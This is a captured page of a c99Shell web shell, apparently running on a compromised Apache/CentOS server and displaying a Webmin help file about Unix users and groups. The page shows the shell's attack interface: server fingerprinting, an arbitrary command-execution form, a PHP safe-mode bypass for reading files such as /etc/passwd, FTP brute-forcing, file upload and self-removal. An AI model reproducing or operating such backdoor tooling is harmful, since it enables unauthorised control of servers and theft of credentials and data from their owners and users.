!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/useradmin/help/   drwxr-xr-x
Free 50.88 GB of 127.8 GB (39.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     intro.no.html (2.31 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Brukere og grupper

Introduksjon til brukere

A Unix user is typically someone who can login to the system, either remotely via telnet or at the console. Every file is owned by some user, and every process runs with the rights of some user. Access to files and processes is determined by the user you are logged in as.

There are really three types of users on a typical Unix system :

  • Administrative Users
    Accounts like bin, lp and uccp own files such as the standard commands in /bin, print spool files and UUCP data. Actually logging in with one of these accounts is not normally allowed - they are used only by various system processes. These users will be created when the operating system is first installed.

  • Real People
    These are accounts owned by real users, created by the system administrator. You may allow these users to login remotely, or maybe let them only to send and receive mail via SMTP and POP3.

  • The root User
    The root user has the power to read and write any file or directory and control any process. This account is typically used for system administration purposes, and is the account under which Webmin runs.

At the top of the main page of this module is a table of existing users on your system. You may click on a user to edit it, or click on the link below the table to create a new user. Users whose login names are shown in italics are those whose passwords are temporarily disabled.

Introduction to Groups

A group is simply a list of Unix users. Every user has belongs to at least one group (their primary group), and optionally several others. All files are owned by some group, and every process runs with the permissions of a group.

Below the list of users is a table of existing groups. You may click on a group name to edit it, or click on the link below the table to create a new group.

Recorded Logins

Every time a user logs in by telnet, FTP or at the console the system records that login and the subsequent logout. At the bottom of the main page is a small form that allows you to display logins either by everyone, or by a selected user.


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.005 ]--